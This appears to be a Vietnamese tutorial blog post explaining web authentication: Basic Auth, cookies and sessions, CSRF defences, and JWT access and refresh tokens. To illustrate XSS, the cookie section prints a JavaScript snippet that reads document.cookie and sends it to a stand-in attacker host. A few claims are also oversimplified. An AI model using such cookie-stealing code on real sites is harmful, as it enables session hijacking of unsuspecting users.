2025-03-09

4 cơ chế xác thực - p2

            I. GIẢI NGỐ AUTHENTICATION: BASIC AUTHENTICATION

1. Tại sao cần phải authentication?

Authentication là quá trình xác thực người dùng. Nó giúp chúng ta biết được người dùng là ai, và có quyền truy cập vào các tài nguyên nào.

Ví dụ:

Bạn đang xây dựng một ứng dụng web, và bạn muốn cho phép người dùng đăng nhập vào ứng dụng của bạn. Bạn sẽ làm như thế nào?

Bạn sẽ lưu thông tin người dùng vào database, và khi người dùng đăng nhập, bạn sẽ kiểm tra thông tin đăng nhập của người dùng với thông tin trong database. Nếu thông tin đăng nhập đúng, bạn sẽ cho phép người dùng truy cập vào ứng dụng của bạn.

2. Tôi từng nghe về Authorization, nó khác gì với Authentication?

Ví dụ ở trên là một ví dụ đơn giản về authentication.

Nhưng nếu bạn muốn cho phép người dùng truy cập vào các tài nguyên khác nhau, bạn sẽ làm như thế nào? Ví dụ, bạn muốn cho phép người dùng truy cập vào các bài viết của mình, nhưng không cho phép người dùng truy cập vào các bài viết của người khác. Bạn sẽ làm như thế nào?

Để giải quyết vấn đề này, chúng ta cần phải sử dụng Authorization.

Authorization là quá trình xác định người dùng có quyền truy cập vào tài nguyên nào. Nó giúp chúng ta biết được người dùng có quyền truy cập vào tài nguyên nào.

Thế thôi, có thể hiểu là Authorization là cấp độ cao hơn của Authentication. Phải xác thực người dùng trước, rồi mới xác định được người dùng có quyền truy cập vào tài nguyên nào.

3. Luồng hoạt động của authentication

Để hiểu rõ hơn về authentication, chúng ta cần phải hiểu luồng (flow) hoạt động của authentication.

Dù cho ngày nay có nhiều phương pháp authentication, nhưng luồng của chúng cơ bản vẫn giống nhau.

Ví dụ bạn muốn truy cập vào một trang web mà cần phải đăng nhập.

Bước 1: Client sẽ gửi một request lên server chứa thông tin định danh client là ai, cái này có thể là username/password, một đoạn mã nào đấy, hoặc là token, hoặc là một số thông tin khác.

Bước 2: Server sẽ kiểm tra thông tin định danh của client với thông tin trong database. Nếu thông tin định danh đúng, server sẽ trả về một dấu hiệu gì đó để cho client biết là đăng nhập thành công.

Bước 3: Client sẽ lưu lại dấu hiệu này, và gửi dấu hiệu này lên server mỗi khi client muốn truy cập vào các tài nguyên của server.

Bước 4: Server sẽ kiểm tra dấu hiệu, nếu hợp lệ, server sẽ trả về tài nguyên cần thiết.

Đơn giản đúng không nào?

Bây giờ thì đi đến kỹ thuật authentication cổ xưa nhất là Basic Authentication.

4. Basic Authentication

Basic Authentication được coi là phương pháp authentication đơn giản nhất cho một website.

Flow làm việc của nó rất dễ:

Khi bạn truy cập website sử dụng cơ chế Basic Authentication, server sẽ kiểm tra Authorization trong HTTP header. Nếu Authorization không hợp lệ, server sẽ trả về một response với WWW-Authenticate nằm trong header. Cái này nó sẽ làm website bạn hiển thị popup yêu cầu bạn nhập username/password.

Bạn nhập username/password, bạn nhấn OK thì trình duyệt sẽ tiến hành mã hóa (encode) username/password thành một chuỗi base64 theo quy tắc username:password, và gửi lên server thông qua HTTP header Authorization.

Server sẽ kiểm tra và giải mã Authorization trong HTTP header. Nếu hợp lệ, server sẽ trả về thông tin website, nếu không hợp lệ, server sẽ trả về một popup yêu cầu bạn nhập lại username/password.

5. Ứng dụng của Basic Authentication

Mặc dù đây là phương pháp đơn giản, thô sơ, nhưng nó vẫn được sử dụng rất nhiều trong các ứng dụng web.

Ví dụ 1: Dự án website của bạn khi release thì có 2 môi trường là staging và production. Vì là môi trường staging, vẫn còn đang trong giai đoạn phát triển, nên bạn muốn chỉ cho những người trong nhóm phát triển truy cập vào website. Vậy thì bạn có thể sử dụng Basic Authentication để yêu cầu người dùng phải nhập username/password để truy cập vào website. Đỡ phải code thêm một chức năng đăng nhập phức tạp.

Ví dụ 2: Bạn có trang quản lý với url là /admin. Bạn không muốn mấy thằng táy máy vô login liên tục trong form đăng nhập của bạn. Vậy nên bạn có thể sử dụng thêm 1 lớp Basic Authentication để yêu cầu người dùng phải nhập username/password để truy cập vào trang quản lý.

6. Đánh giá ưu nhược điểm của Basic Authentication

Ưu điểm

Đơn giản, dễ hiểu, dễ triển khai. Làm được trên Nginx hay Apache luôn cũng được, không cần can thiệp vào code backend.

Nhược điểm

Không an toàn, vì username/password được mã hóa bằng Base64. Kẻ gian có thể đánh cắp đoạn mã base64 này thông qua việc bắt request (Tấn công Man-in-the-middle). Vậy nên cần phải sử dụng HTTPS để mã hóa giao tiếp giữa client và server.

Thiếu tính linh hoạt: Basic Authentication không hỗ trợ nhiều cấp độ xác thực, quản lý quyền truy cập, hay gia hạn/ thu hồi quyền truy cập. Điều này giới hạn khả năng mở rộng và kiểm soát truy cập trong các ứng dụng phức tạp.

Không thể logout khỏi website. Vì Basic Authentication chỉ yêu cầu người dùng nhập username/password khi truy cập vào website, nên khi bạn tắt trình duyệt, bạn mới logout ra.

Không thể sử dụng được cho các ứng dụng mobile. Vì Basic Authentication yêu cầu người dùng nhập username/password, nhưng trên các ứng dụng mobile thì không có giao diện để người dùng nhập username/password.

II. GIẢI NGỐ AUTHENTICATION: COOKIE VÀ SESSION AUTHENTICATION

1. Cookie là gì?

Cookie là một file nhỏ được lưu trữ trên thiết bị user. Cookie thường được dùng để lưu thông tin về người dùng website như: tên, địa chỉ, giỏ hàng, lịch sử truy cập, mật khẩu (à dù có thể lưu mật khẩu được nhưng đừng lưu nhé, lỡ bị hacker hack, nó lấy đc mật khẩu là toang đấy!)...

Cookie được ghi và đọc theo domain.

Ví dụ khi bạn truy cập vào website cá nhân của Được https://duthanhduoc.com, và server mình trả về cookie thì trình duyệt của bạn sẽ lưu cookie cho domain duthanhduoc.com.

Khi bạn gửi request đến https://duthanhduoc.com (bao gồm việc bạn enter url vào thanh địa chỉ hay gửi api đến) thì trình duyệt của bạn tìm kiếm có cookie nào của https://duthanhduoc.com không và gửi lên server https://duthanhduoc.com.

Nhưng nếu bạn truy cập vào https://google.com thì google sẽ không đọc được cookie bên https://duthanhduoc.com, vì trình duyệt không gửi lên.

Lưu ý: Nếu bạn đang ở trang https://google.com và gửi request đến https://duthanhduoc.com thì trình duyệt sẽ tự động gửi cookie của https://duthanhduoc.com lên server của https://duthanhduoc.com, đây là một lỗ hổng để hacker tấn công CSRF. Để tìm hiểu thêm về kỹ thuật tấn công và cách khắc phục thì các bạn đọc thêm ở những phần dưới nhé.

Mẹo:

Một website có thể lưu nhiều cookie khác nhau, ví dụ profile, cart, history, ...

Mẹo:

Bộ nhớ của cookie có giới hạn, nên bạn không nên lưu quá nhiều thông tin vào cookie. Thường thì một website chỉ nên lưu tối đa 50 cookie và tổng cộng kích thước của các cookie trên website đó không nên vượt quá 4KB.

Đến đây mình sẽ làm rõ một số vấn đề về cookie như sau

2. Cookie được lưu trữ ở đâu?

Nó lưu trong 1 cái file, file này thì được lưu ở trên ổ cứng của bạn. Vậy nên là bạn tắt trình duyệt, shutdown máy tính đi mở lại thì nó vẫn còn đấy.

Ví dụ Truy cập file cookie trên macOS

Trên macOS, các file cookie được lưu trữ trong thư mục của trình duyệt web bạn đang sử dụng. Cụ thể:

Các file cookie của Google Chrome được lưu trữ tại: /Users/<username>/Library/Application Support/Google/Chrome/Default/Cookies

Các file cookie của Firefox được lưu trữ tại: /Users/<username>/Library/Application Support/Firefox/Profiles/<profile folder>/cookies.sqlite

Các file cookie của Safari được lưu trữ tại: /Users/<username>/Library/Cookies/Cookies.binarycookies

Thường thì không ai vào đây xem đâu, vì nó là file nhị phân, bạn không thể đọc được nó. Chúng ta sẽ dùng trình duyệt để xem nhé.

3. Làm sao để ghi dữ liệu lên cookie của trình duyệt?

Có 3 cách để ghi dữ liệu lên cookie

Khi bạn truy cập vào 1 url hoặc gọi 1 api, server có thể set cookie lên máy tính của bạn bằng cách trả về header Set-Cookie trong response.

Bạn có thể dùng javascript để set cookie lên máy tính của bạn thông qua document.cookie

Bạn có thể dùng trình duyệt, mở devtool lên và set cookie lên máy tính của bạn

4. Làm sao để đọc dữ liệu từ cookie?

Khi bạn truy cập vào 1 url hoặc gọi 1 api, trình duyệt sẽ tự động gửi cookie lên server. Nhớ là tự động luôn nha, bạn không cần làm gì cả.

Ngoài ra bạn có thể dùng Javascript để đọc cookie của bạn. Lưu ý là nếu cookie được set HttpOnly thì bạn không thể đọc được cookie bằng Javascript đâu nhé.

Hoặc mở devtool lên xem.

Lưu ý là cookie lưu ở trang nào thì trình duyệt sẽ gửi cookie trang đó lên server nha. Nếu cookie của https://facebook.com thì không có chuyện bạn vào https://duthanhduoc.com và mình đọc được cookie facebook của bạn đâu.

5. Một số lưu ý quan trọng khi sử dụng cookie

HttpOnly

Khi set HttpOnly cho một cookie của bạn thì cookie đó sẽ không thể đọc được bằng Javascript (tức là không thể lấy cookie bằng document.cookie được). Điều này giúp tránh được tấn công XSS.

Tấn công XSS hiểu đơn giản là người khác có thể chạy được code javascript của họ trên trang web của bạn. Ví dụ bạn dùng một thư viện trên npm, người tạo thư viện này cố tình chèn một đoạn code javascript như sau:

// Lấy cookie

const cookie = document.cookie

// Gửi cookie về một trang web khác

const xhr = new XMLHttpRequest()

xhr.open('POST', 'https://attacker.com/steal-cookie', true)

xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')

xhr.send(`cookie=${cookie}`)

Khi bạn deploy website, user truy cập vào website của bạn, thì đoạn code trên sẽ chạy và gửi cookie của user về cho kẻ tấn công (người tạo thư viện). Nếu cookie chứa các thông tin quan trọng như tài khoản ngân hàng, mật khẩu, ... thì user đã bị hack rồi.

Để set HttpOnly cho cookie, bạn chỉ cần thêm option httpOnly: true vào cookie như sau

// Thiết lập cookie với httponly

res.cookie('cookieName', 'cookieValue', { httpOnly: true })

Secure

Khi set Secure cho một cookie của bạn thì cookie đó chỉ được gửi lên server khi bạn truy cập vào trang web bằng https. Điều này giúp tránh được các lỗ hổng MITM (Man in the middle attack).

Mẹo:

Man-in-the-middle (MITM) là một kỹ thuật tấn công mạng, trong đó kẻ tấn công can thiệp vào kết nối giữa hai bên và trộn lẫn thông tin giữa họ. Khi bị tấn công, người dùng thường không nhận ra được sự can thiệp này. Ví dụ bạn dùng wifi công cộng, kẻ tấn công có thể đọc được dữ liệu bạn gửi đi.

Để set Secure cho cookie, bạn chỉ cần thêm option secure: true vào cookie như sau

res.cookie('cookieName', 'cookieValue', { secure: true })

6. Tấn công CSRF

Lợi dụng cơ chế khi request trên một url nào đó, trình duyệt sẽ tự động gửi cookie lên server, kẻ tấn công có thể tạo một trang web giả mạo, khi user truy cập vào trang web giả mạo và thực hiện hành động nào đó, trình duyệt sẽ tự động gửi cookie lên server, kẻ tấn công có thể lợi dụng cookie này để thực hiện các hành động độc hại.

7. Cách phòng chống tấn công CSRF

Cách 1: Sử dụng thuộc tính SameSite=Strict cho cookie

Với SameSite=Strict thì cookie sẽ không được gửi đi nếu request không phải là request từ trang web hiện tại. Ví dụ như ở trên thì cookie sẽ không được gửi đi nếu request đến từ http://127.0.0.1:3300

Lưu ý với SameSite

Quy tắc quyết định 2 site có phải là same không nó phức tạp hơn bạn nghĩ.

Ví dụ như 2 site https://edu.duthanhduoc.com và http://duthanhduoc.com được coi là same site vì cùng public suffix duthanhduoc.com

Nhưng 2 site https://duthanhduoc.github.io và https://dtd.github.io thì không được coi là same site vì khác public suffix, ở đây các bạn có thể hiểu github.io nó giống như cái tên miền com rồi.

Cách 2: Sử dụng CSRF Token:

CSRF token là một chuỗi ngẫu nhiên được tạo ra để bảo vệ khỏi tấn công Cross-Site Request Forgery (CSRF). Khi người dùng yêu cầu truy cập tài nguyên, server sẽ tạo ra một token và gửi nó về cho người dùng. Khi người dùng gửi yêu cầu tiếp theo, họ phải bao gồm token này trong yêu cầu của mình. Nếu token không hợp lệ, yêu cầu sẽ bị từ chối. Điều này giúp ngăn chặn kẻ tấn công thực hiện các yêu cầu giả mạo.

Cách 3: Sử dụng CORS:

Cross-Origin Resource Sharing (CORS) là một cơ chế để ngăn chặn các yêu cầu từ các tên miền khác nhau. Bằng cách thiết lập CORS, bạn có thể chỉ cho phép các yêu cầu từ các tên miền cụ thể hoặc từ tất cả các tên miền. Ví dụ như ở trên thì nếu server facebook chỉ cho phép các yêu cầu từ tên miền http://localhost:3000 thì hacker sẽ không thể tấn công được.

8. Single Page Application có bị tấn công CSRF không?

Câu trả lời là có! Nhưng hiếm khi xảy ra trừ khi bạn chủ động set SameSite=None cho cookie của bạn.

Như các bạn thấy thì CSRF nghĩa là một request được thực hiện trên một trang web hacker. Nãy giờ chúng ta chỉ ví dụ với cơ chế GET POST truyền thống, chứ không phải REST API phổ biến như chúng ta thao tác ngày nay.

Với REST API thì để gửi một request đến http://localhost:3000/status trên trang web http://127.0.0.1:3300 chúng ta có thể dùng fetch API như dưới đây.

fetch('http://localhost:3000/status', {

           method: 'POST',

           credentials: 'include',

  body: {

    content: 'Hacker đã đăng bài'

           }

})

Lúc này cookie của http://localhost:3000 sẽ không được gửi lên http://localhost:3000/status đâu, vì nếu các bạn không set SameSite khi server trả về thì mặc định trình duyệt sẽ ngầm hiểu đây là SameSite=Lax.

Mà với SameSite=Lax thì chỉ cho phép gửi cookie đối với những GET request, còn POST request thì không được gửi cookie đâu.

Còn nếu bạn set SameSite=none (khi đó phải thêm secure=true nữa browsers nó mới chập nhận cái samesite none này) thì khỏi nói luôn, hacker có thể thay đổi data của bạn nếu bạn truy cập trang web của hacker.

9. Tóm lại thì làm sao bảo vệ website khỏi CSRF?

Nếu bạn không dùng cookie thì không cần quan tâm, vì no cookie no CSRF.

Nếu bạn sài combo REST API và SPA thì đầu tiên là phải thiết lập cors, httpOnly=true, secure=true, SameSite=Strict hoặc SameSite=Lax.

Cẩn thận với SameSite=Strict:

Vì nếu bạn set SameSite=Strict thì khi bạn đăng nhập vào example.com rồi. Bây giờ bạn click vào đường link example.com trên trang web khác thì trình duyệt sẽ không gửi cookie đâu, dẫn đến việc dù bạn đã đăng nhập lúc nãy nhưng vẫn bị chuyển về trang login vì bị cho là chưa đăng nhập.

Cái này thường xảy ra khi website của bạn là website theo MPA truyền thống, còn nếu là SPA thì không sao cả, vì hầu như các SPA chúng ta đều gọi request và gửi cookie lên server thông qua fetch hay XMLHttpRequest (tức là đã redirect đến trang) chứ không phải ngay khi click vào đường link.

Cá nhân mình nghĩ không cần phải dùng thêm CSRF token nữa, vì nó chỉ làm cho cơ chế xác thực của bạn phức tạp hơn thôi. Như trên là đủ rồi.

10. Session Authentication

Session là gì?

Session là phiên lưu trữ trên server để quản lý thông tin liên quan đến mỗi người dùng trong quá trình tương tác với ứng dụng.

Session được lưu trữ trên server, còn cookie được lưu trữ trên client. Nhớ rõ điều này nha.

Session có thể được lưu ở dạng file, database, cache, memory, ... tùy vào cách thiết kế server như thế nào.

Session Authentication là gì?

Session Authentication là một cơ chế xác thực người dùng bằng cách sử dụng session.

Khi người dùng đăng nhập thành công, server sẽ tạo ra một session mới và gửi session id đó về cho client thông qua cookie (thường là cookie thôi chứ không nhất thiết, client có thể lưu vào local storage cũng được). Client sẽ gửi nó lên server mỗi khi thực hiện một request. Server kiểm tra session id này có tồn tại hay không, nếu có thì xác thực thành công, không thì xác thực thất bại. (nếu chưa đăng nhập thì sẽ chuyển  hướng sang đăng nhập).

Flow hoạt động của Session Authentication

Hình dưới đây là luồng hoạt động của phương pháp xác thực bằng session.

Luồng hoạt động của Session Authentication

Client gửi request vào tài nguyên được bảo vệ trên server. Nếu client chưa được xác thực, server sẽ trả lời với một lời nhắc đăng nhập. Client gửi username và password của họ cho server.

Server xác minh thông tin xác thực được cung cấp so với cơ sở dữ liệu người dùng. Nếu thông tin xác thực khớp, server tạo ra một Session Id duy nhất và tạo một session tương ứng trong bộ nhớ lưu trữ phía server (ví dụ: ram, database, hoặc file nào đó).

Server gửi Session Id cho client dưới dạng cookie, thường là với tiêu đề Set-Cookie.

Client lưu trữ cookie.

Đối với các yêu cầu tiếp theo, client gửi cookie chứa Session Id lên server.

Server kiểm tra Session Id trong cookie so với dữ liệu session được lưu trữ để xác thực người dùng.

Nếu được xác nhận, server cấp quyền truy cập vào tài nguyên được yêu cầu. Khi người dùng đăng xuất hoặc sau một khoảng thời gian hết hạn được xác định trước, server làm vô hiệu phiên

Ưu nhược điểm của Session Authentication

Ưu điểm

Dễ triển khai, hầu như mấy framework web hiện nay đều giúp bạn thực hiện session authentication một cách cực kỳ dễ dàng chỉ với vài dòng code

Bảo mật thông tin người dùng. Như bạn thấy đấy, người dùng chỉ lưu một cái chuỗi ngẫu nhiên (session id) trên máy mình và gửi nó lên server qua mỗi request, nên mấy cái thông khác như username, password, ... không bị lộ ra ngoài.

Toàn quyền kiểm soát phiên làm việc của người dùng. Vì mọi thứ bạn lưu trữ ở server nên bạn có thể đăng xuất người dùng bất cứ khi nào bạn muốn bằng việc xóa session id của họ trong bộ nhớ lưu trữ phía server.

Nhược điểm

Việc toàn quyền kiểm soát vừa là ưu điểm cũng vừa là nhược điểm của session authentication. Vì bạn phải lưu trữ thông tin phiên làm việc của người dùng nên bạn phải có một bộ nhớ lưu trữ phía server. Ví dụ bạn lưu trữ trên RAM thì không thể chia sẻ cho các server khác được (dính DDOS hay restart server lại mất hết), lưu trữ trên database thì lại tốn kém thêm chi phí, bộ nhớ,...

Bộ nhớ lưu trữ session sẽ phình to rất nhanh vì mỗi khi có một người dùng đăng nhập thì bạn lại phải lưu trữ một session id mới, cái này phình to nhanh lắm đấy.

Tốc độ chậm, vì mỗi request đến server, server điều phải kiểm tra trong bộ nhớ lưu trữ xem session id có hợp lệ hay không. Nếu bạn lưu trữ trên database thì tốc độ sẽ chậm hơn nữa.

Khó khăn trong việc scale ngang server. Ví dụ khi server lớn lên, bạn phải có nhiều server để chịu tải hơn, thì việc chia sẻ session id giữa các server là một vấn đề khó khăn, kiểu gì bạn cũng phải tìm cái gì đó chung giữa các server như database chung chẳn hạn. Lại database, nếu nó lớn lên lại tìm cách scale database.

Mẹo:

Scale ngang là chúng ta mở rộng quy mô hệ thống bằng cách thêm các server mới vào hệ thống, thay vì nâng cấp server hiện tại lên một cấu hình cao hơn.

Mẹo:

Scale dọc là chúng ta mở rộng quy mô hệ thống bằng cách nâng cấp server hiện tại lên một cấu hình cao hơn.

III. [P3] GIẢI NGỐ AUTHENTICATION: JWT

1. JWT là gì?

JSON Web Token (JWT), phát âm là "jot" (giót), là một chuẩn mở (RFC 7519) giúp truyền tải thông tin dưới dạng JSON.

Ở đây có một lưu ý là: Tất cả các JWT đều là token, nhưng không phải tất cả các token đều là JWT.

Sẵn tiện nếu bạn thắc mắc "Token là gì?" thì mình giải thích ngắn gọn như sau: Token là một chuỗi ký tự được tạo ra để đại diện cho một đối tượng hoặc một quyền truy cập nào đó, ví dụ như access token, refresh token, jwt... Token thường được sử dụng trong các hệ thống xác thực và ủy quyền để kiểm soát quyền truy cập của người dùng đối với tài nguyên hoặc dịch vụ.

Bởi vì kích thước tương đối nhỏ, JWT có thể được gửi qua URL, qua tham số POST, hoặc bên trong HTTP Header mà không ảnh hưởng nhiều đến tốc độ request.

Dưới đây là một JWT sau khi được encode và sign:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiNjQ0MTE4NDdhZmJkYjUxMmE1MmMwNTQ4IiwidHlwZSI6MCwiaWF0IjoxNjgyMDgyNTA0LCJleHAiOjE2OTA3MjI1MDR9.QjSI3gJZgDSEHz6eYkGKIQ6gYiiizg5C0NDbGbGxtWU

Cái chuỗi JWT trên có cấu trúc gồm ba phần, mỗi phần được phân tách bởi dấu chấm (.): Header, Payload và Signature.

Header: Phần này chứa thông tin về loại token (thường là "JWT") và thuật toán mã hóa được sử dụng để tạo chữ ký (ví dụ: HMAC SHA256 hoặc RSA). Header sau đó được mã hóa dưới dạng chuỗi Base64Url. (Thử decode Base64 cái chuỗi eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 này ra thì nó sẽ có dạng '{"alg":"HS256","typ":"JWT"}')

Payload: Phần này chứa các thông tin mà người dùng định nghĩa. Payload cũng được mã hóa dưới dạng chuỗi Base64Url.

Signature: Phần này được tạo bằng cách dùng thuật toán HMACSHA256 (cái này có thể thay đổi) với nội dung là Base64 encoded Header + Base64 encoded Payload kết hợp một "secret key" (khóa bí mật). Signature (Chữ ký) giúp đảm bảo tính toàn vẹn và bảo mật của thông tin trong JWT (Công thức chi tiết nhìn xuống phía dưới nhé)

Bạn copy cái chuỗi trên và paste vào jwt.io thì sẽ thấy kết quả như sau

HEADER:ALGORITHM & TOKEN TYPE

{

  "alg": "HS256",

  "typ": "JWT"

}

PAYLOAD:DATA

json

{

  "user_id": "64411847afbdb512a52c0548",

  "type": 0,

  "iat": 1682082504,

  "exp": 1690722504

}

VERIFY SIGNATURE

HMACSHA256(base64UrlEncode(header) + '.' + base64UrlEncode(payload), secret_key)

Lúc này bạn sẽ thắc mắc "Vậy tất cả mọi người đều biết được thông tin Header và Payload của cái JWT?"

Đúng rồi

Nhưng có một điều quan trọng là chỉ có server mới biết được secret_key để tạo ra Signature. Vì vậy chỉ có server mới có thể verify được cái JWT này là do chính server tạo ra.

Bạn không tin ư? Tôi đố bạn tạo ra được JWT như trên đó, dù bạn biết Header và Payload nhưng để tạo ra cái Signature thì bạn cần phải biết được secret_key của mình (nhìn c).

Mặc định thì JWT dùng thuật toán HMACSHA256 nên chúng ta yên tâm rằng JWT có độ an toàn cực cao và rất khó bị làm giả.

Hiểu được JWT rồi thì chúng ta cùng tìm hiểu về cách sử dụng JWT trong việc xác thực người dùng nhé.

2. Xác thực người dùng với Access Token

Ở bài Session Authentication thì chúng ta được học rằng mỗi request lên server thì đều phải kèm theo session id để server có thể xác thực người dùng này là ai, có quyền truy cập tài nguyên hay không. Cái session id này được lưu ở cơ sở dữ liệu trên server, mỗi lần request phải mò vào đó kiểm tra xem session id này có trong đó không, rất mất thời gian.

Access Token là gì?

Với JWT thì người ta phát hiện ra rằng chỉ cần tạo 1 cái token JWT, lưu thông tin người dùng vào như user_id hay role... rồi gửi cho người dùng, server không cần phải lưu trữ cái token JWT này làm gì. Mỗi lần người dùng request lên server thì gửi cái token JWT này lên, Server chỉ cần verify cái token JWT này là biết được người dùng này là ai, có quyền truy cập tài nguyên hay không.

Mẹo:

Phương pháp dùng token để xác thực như thế này người ta gọi là Token Based Authentication.

Bạn sợ ai đó có thể làm giả cái token JWT của bạn hả?

Không! Không có ai có thể tạo ra được cái token JWT của bạn trừ khi họ biết cái secret_key của bạn, mà cái secret_key này bạn lưu trữ trên server mà, sao mà biết được (trừ bạn bị hack hay lỡ tay làm lộ thì chịu).

Vậy là chúng ta không cần lưu trữ cái JWT này trên server nữa, chỉ cần client lưu trữ là đủ rồi.

Tiết kiệm biết bao nhiêu là bộ nhớ cho server, mà còn nhanh nữa chứ (vì bỏ qua bước kiểm tra trong cơ sở dữ liệu, cái bước verify jwt thì nó nhanh lắm)

Và cái token ở trên để xác thực người dùng có quyền truy cập vào tài nguyên hay không người ta gọi là Access Token.

Access Token là một chuỗi với bất kỳ định dạng nào, nhưng định dạng phổ biến nhất của access token là JWT. Thường thì cấu trúc data trong access token sẽ theo chuẩn này. Tuy nhiên bạn có thể thay đổi theo ý thích, miễn sao phù hợp với dự án là được.

Đây là một chuỗi access token mẫu

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiNjQ0MTE4NDdhZmJkYjUxMmE1MmMwNTQ4IiwiaWF0IjoxNjgyMDgyNTA0LCJleHAiOjE2OTA3MjI1MDR9.tWlX7E7NPNftg37fXrdsXvkgEWB_8zaHIQmryAXzElY

Đây là payload của access token trên

json

{

  "user_id": "64411847afbdb512a52c0548",

  "iat": 1682082504,

  "exp": 1690722504

}

Trong này có 3 trường quan trọng mà server dùng để kiểm tra token liệu có đúng người, hay còn hiệu lực không

user_id: Chính là id định danh của người dùng, để biết token này là của người nào

iat: Thời gian bắt đầu token này có hiệu lực

exp: Thời gian kết thúc token này

Tùy từng trường hợp mà server có thể thêm các trường vào payload khi tạo access token, không cần cứng nhắc quá.

Flow xác thực người dùng với Access Token

Hình dưới đây là luồng hoạt động của phương pháp xác thực bằng Access Token.

Luồng xác thực người dùng bằng Access Token

Client gửi request vào tài nguyên được bảo vệ trên server. Nếu client chưa được xác thực, server trả về lỗi 401 Authorization. Client gửi username và password của họ cho server.

Server xác minh thông tin xác thực được cung cấp so với cơ sở dữ liệu user. Nếu thông tin xác thực khớp, server tạo ra một JWT chứa payload là user_id (hoặc trường nào đó định danh người dùng). JWT này được gọi là Access Token.

Server gửi access token cho client.

Client lưu trữ access token ở bộ nhớ thiết bị (cookie, local storage,...).

Đối với các yêu cầu tiếp theo, client gửi kèm access token trong header của request.

Server verify access token bằng secret key để kiểm tra access token có hợp lệ không.

Nếu hợp lệ, server cấp quyền truy cập vào tài nguyên được yêu cầu. Khi người dùng muốn đăng xuất thì chỉ cần xóa access token ở bộ nhớ thiết bị là được.

Khi access token hết hạn thì server sẽ từ chối yêu cầu của client, client lúc này sẽ xóa access token ở bộ nhớ thiết bị và chuyển sang trạng thái bị logout.

Vấn đề của Access Token

Như flow trên thì chúng ta không lưu access token ở trên server, mà lưu ở trên client. Điều này gọi là stateless, tức là server không lưu trữ trạng thái nào của người dùng nào cả.

Khuyết điểm của nó là chúng ta không thể thu hồi access token được. Các bạn có thể xem một số ví dụ dưới đây.

Ví dụ 1: Ở server, chúng ta muốn chủ động đăng xuất một người dùng thì không được, vì không có cách nào xóa access token ở thiết bị client được.

Ví dụ 2: Client bị hack dẫn đến làm lộ access token, hacker lấy được access token và có thể truy cập vào tài nguyên được bảo vệ. Dù cho server biết điều đấy nhưng không thể từ chối access token bị hack đó được, vì chúng ta chỉ verify access token có đúng hay không chứ không có cơ chế kiểm tra access token có nằm trong danh sách blacklist hay không.

Với ví dụ thứ 2, chúng ta có thể thiết lập thời gian hiệu lực của access token ngắn, ví dụ là 5 phút, thì nếu access token bị lộ thì hacker cũng có ít thời gian để xâm nhập vào tài nguyên của chúng ta hơn => giảm thiểu rủi ro.

Nhưng mà cách này không hay lắm, vì nó sẽ làm cho người dùng bị logout và phải login sau mỗi 5 phút, rất khó chịu về trải nghiệm người dùng (các app ngân hàng hay áp dụng cái này).

Lúc này người ta mới nghĩ ra ra một cách để giảm thiểu những vấn đề trên, đó là sử dụng thêm Refresh Token.

3. Refresh Token là gì?

Refresh Token là một chuỗi token khác, được tạo ra cùng lúc với Access Token. Refresh Token có thời gian hiệu lực lâu hơn Access Token, ví dụ như 1 tuần, 1 tháng, 1 năm...

Flow xác thực với access token và refresh token sẽ được cập nhật như sau:

Client gửi request vào tài nguyên được bảo vệ trên server. Nếu client chưa được xác thực, server trả về lỗi 401 Authorization. Client gửi username và password của họ cho server.

Server xác minh thông tin xác thực được cung cấp so với cơ sở dữ liệu user. Nếu thông tin xác thực khớp, server tạo ra 2 JWT khác nhau là Access Token và Refresh Token chứa payload là user_id (hoặc trường nào đó định danh người dùng). Access Token có thời gian ngắn (cỡ 5 phút). Refresh Token có thời gian dài hơn (cỡ 1 năm). Refresh Token sẽ được lưu vào cơ sở dữ liệu, còn Access Token thì không.

Server trả về access token và refresh token cho client.

Client lưu trữ access token và refresh token ở bộ nhớ thiết bị (cookie, local storage,...).

Đối với các yêu cầu tiếp theo, client gửi kèm access token trong header của request.

Server verify access token bằng secret key để kiểm tra access token có hợp lệ không.

Nếu hợp lệ, server cấp quyền truy cập vào tài nguyên được yêu cầu.

Khi access token hết hạn, client gửi refresh token lên server để lấy access token mới.

Server kiểm tra refresh token có hợp lệ không, có tồn tại trong cơ sở dữ liệu hay không. Nếu ok, server sẽ xóa refresh token cũ và tạo ra refresh token mới với expire date như cũ (ví dụ cái cũ hết hạn vào 5/10/2023 thì cái mới cũng hết hạn vào 5/10/2023) lưu vào cơ sở dữ liệu, tạo thêm access token mới.

Server trả về access token mới và refresh token mới cho client.

Client lưu trữ access token và refresh token mới ở bộ nhớ thiết bị (cookie, local storage,...).

Client có thể thực hiện các yêu cầu tiếp theo với access token mới (quá trình refresh token diễn ra ngầm nên client sẽ không bị logout).

Khi người dùng muốn đăng xuất thì gọi API logout, server sẽ xóa refresh token trong cơ sở dữ liệu, đồng thời client phải thực hiện xóa access token và refresh token ở bộ nhớ thiết bị.

Khi refresh token hết hạn (hoặc không hợp lệ) thì server sẽ từ chối yêu cầu của client, client lúc này sẽ xóa access token và refresh token ở bộ nhớ thiết bị và chuyển sang trạng thái bị logout.

Vấn đề bất cập giữa lý thuyết và thực tế

Mong muốn của việc xác thực bằng JWT là stateless, nhưng ở trên các bạn để ý mình lưu refresh token vào cơ sở dữ liệu, điều này làm cho server phải lưu trữ trạng thái của người dùng, tức là không còn stateless nữa.

Chúng ta muốn bảo mật hơn thì chúng ta không thể cứng nhắc cứ stateless được, vậy nên kết hợp stateless và stateful lại với nhau có vẻ hợp lý hơn. Access Token thì stateless, còn Refresh Token thì stateful.

Đây là lý do mình nói có sự mâu thuẫn giữa lý thuyết và thực tế áp dụng, khó mà áp dụng hoàn toàn stateless cho JWT trong thực tế được.

Và có một lý do nữa tại sao mình lưu refresh token trong database đó là refresh token thì có thời gian tồn tại rất là lâu, nếu biết ai bị lộ refresh token thì mình có thể xóa những cái refresh token của user đó trong database, điều này sẽ làm cho hệ thống an toàn hơn.

Tương tự nếu mình muốn logout một người dùng nào đó thì mình cũng có thể xóa refresh token của người đó trong database. Sau khoản thời gian access token họ hết hạn thì họ thực hiện refresh token sẽ không thành công và họ sẽ bị logout. Có điều là nó không tức thời, mà phải đợi đến khi access token hết hạn thì mới logout được.

Chúng ta cũng có thể cải thiện thêm bằng cách cho thời gian hết hạn access token ngắn lại và dùng websocket để thông báo cho client logout ngay lập tức.

